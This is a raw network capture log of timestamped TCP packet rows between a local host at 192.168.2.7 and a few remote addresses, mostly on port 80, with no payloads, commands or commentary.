Nov 27, 2024 16:34:51.045965910 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.045965910 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.046684980 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.047139883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.047187090 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.047494888 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.047616005 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.047759056 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.048122883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.048425913 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.048499107 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.048738003 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.049514055 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.049529076 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.049585104 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.049612045 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.049787998 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.050839901 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.050910950 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.051001072 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.051244974 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.051356077 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.051424026 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.052068949 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.052246094 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.052403927 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.052704096 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.052983046 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.053320885 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.053334951 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.053400993 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.054073095 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.054697990 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.054847002 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.054861069 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.054927111 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.054946899 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.055255890 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.055774927 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.055871010 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.056137085 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.056322098 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.056731939 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.056746006 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.056816101 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.057532072 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.057718039 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.057923079 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.057981014 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.058428049 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.058629990 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.058751106 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.059003115 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.059353113 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.059511900 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.060282946 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.060308933 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.060322046 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.060574055 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.061176062 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.061314106 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.062057018 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.062129021 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.062309980 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.062340975 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.062453985 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.063071012 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.064100981 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.064208984 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.064218998 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.064232111 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.064270020 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.064778090 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.064841986 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.064857960 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.064930916 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.065653086 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.065732956 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.065846920 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.065897942 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.066751003 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.066899061 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.067212105 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.067516088 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.067528009 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.067533970 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.067574024 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.068587065 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.068655014 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.068712950 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.068712950 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.069349051 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.069433928 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.069745064 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.070096016 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.070135117 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.070447922 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.224178076 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.224220991 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.224311113 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.224570990 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.224695921 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.224706888 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.224744081 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.225542068 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.225694895 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.225742102 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.226025105 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.226360083 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.226413012 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.226722956 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.226821899 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.227273941 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.227333069 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.227380037 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.227442980 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.228203058 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.228441000 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.229135036 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.229147911 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.229203939 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.229260921 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.229362011 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.229950905 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.230065107 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.230165958 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.230882883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.230947971 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.231389046 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.231760025 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.231931925 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.231945038 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.232013941 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.232722044 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.232835054 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.232920885 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.233604908 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.233769894 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.233788013 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.233841896 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.234522104 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.234652042 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.234678984 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.234869003 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.235464096 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.235477924 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.235539913 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.236290932 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.236349106 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.236428976 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.237219095 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.237317085 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.237818003 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.237925053 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.238687038 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.238862038 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.239018917 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.239166975 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.239248037 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.239291906 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.239954948 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.240087032 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.240220070 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.240293026 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.240385056 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.240880966 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.240952015 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.241075993 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.241163969 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.241796017 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.241936922 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.241944075 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.242053032 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.242655993 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.242892027 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.243570089 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.243581057 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.243597031 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.243639946 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.243755102 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.244589090 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.244734049 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.244779110 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.244810104 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.245527029 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.245857000 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.245935917 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.246321917 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.246335983 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.246444941 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.247168064 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.247284889 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.247522116 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.248223066 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.248353958 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.249068975 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.249082088 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.249152899 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.249187946 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.249417067 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.249877930 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.249967098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.250025034 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.250138998 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.250809908 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.250880957 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.251334906 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.251424074 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.251657963 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.251797915 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.252311945 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.252446890 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.252583981 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.252662897 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.252826929 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.253500938 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.253638983 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.253832102 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.253969908 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.254381895 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.254554987 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.255139112 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.255285978 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.255522013 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.255533934 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.255619049 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.256185055 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.256298065 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.256447077 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.257092953 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.257199049 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.257255077 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.257431030 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.257976055 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.258117914 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.258277893 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.258976936 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.259110928 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.259155989 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.259242058 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.260133028 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.260267019 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.260344028 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.260474920 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.260911942 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.261122942 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.261198997 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.262017965 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.262141943 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.262156010 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.262264013 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.263134956 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.263227940 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.263233900 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.263288021 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.264015913 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.264075994 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.264389038 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.264972925 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.265053988 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.265151978 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.265280962 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.266191959 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.266324043 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.266665936 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.266729116 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.266967058 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.266979933 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.267050982 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.267682076 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.267733097 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.268225908 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.268372059 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.269373894 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.269386053 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.269431114 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.269476891 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.269659042 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.270225048 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.270509958 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.270533085 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.270663977 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.271203995 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.271215916 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.271490097 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.271661997 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.271773100 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.347711086 CET	49862	443	192.168.2.7	23.44.203.14
Nov 27, 2024 16:34:51.347752094 CET	443	49862	23.44.203.14	192.168.2.7
Nov 27, 2024 16:34:51.347913027 CET	49862	443	192.168.2.7	23.44.203.14
Nov 27, 2024 16:34:51.347984076 CET	49863	443	192.168.2.7	23.44.203.14
Nov 27, 2024 16:34:51.348031044 CET	443	49863	23.44.203.14	192.168.2.7
Nov 27, 2024 16:34:51.348314047 CET	49863	443	192.168.2.7	23.44.203.14
Nov 27, 2024 16:34:51.348315001 CET	49862	443	192.168.2.7	23.44.203.14
Nov 27, 2024 16:34:51.348330975 CET	443	49862	23.44.203.14	192.168.2.7
Nov 27, 2024 16:34:51.348381996 CET	49863	443	192.168.2.7	23.44.203.14
Nov 27, 2024 16:34:51.348403931 CET	443	49863	23.44.203.14	192.168.2.7
Nov 27, 2024 16:34:51.403085947 CET	443	49854	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.403462887 CET	49854	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.403491974 CET	443	49854	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.405666113 CET	443	49854	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.405734062 CET	49854	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.406292915 CET	49854	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.406369925 CET	443	49854	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:51.406543016 CET	49854	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:51.428833008 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.428921938 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.428972960 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.429013968 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.429224014 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.429284096 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.429342031 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.429419041 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.430177927 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.430234909 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.430274010 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.430399895 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.430988073 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.431080103 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.431157112 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.431286097 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.431945086 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.432022095 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.432073116 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.432169914 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.432816982 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.432894945 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.432908058 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.433000088 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.433862925 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.433921099 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.433943033 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.434037924 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.434626102 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.434653044 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.434678078 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.434762955 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:51.435554981 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.435581923 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:51.435633898 CET	49777	80	192.168.2.7	185.215.113.206
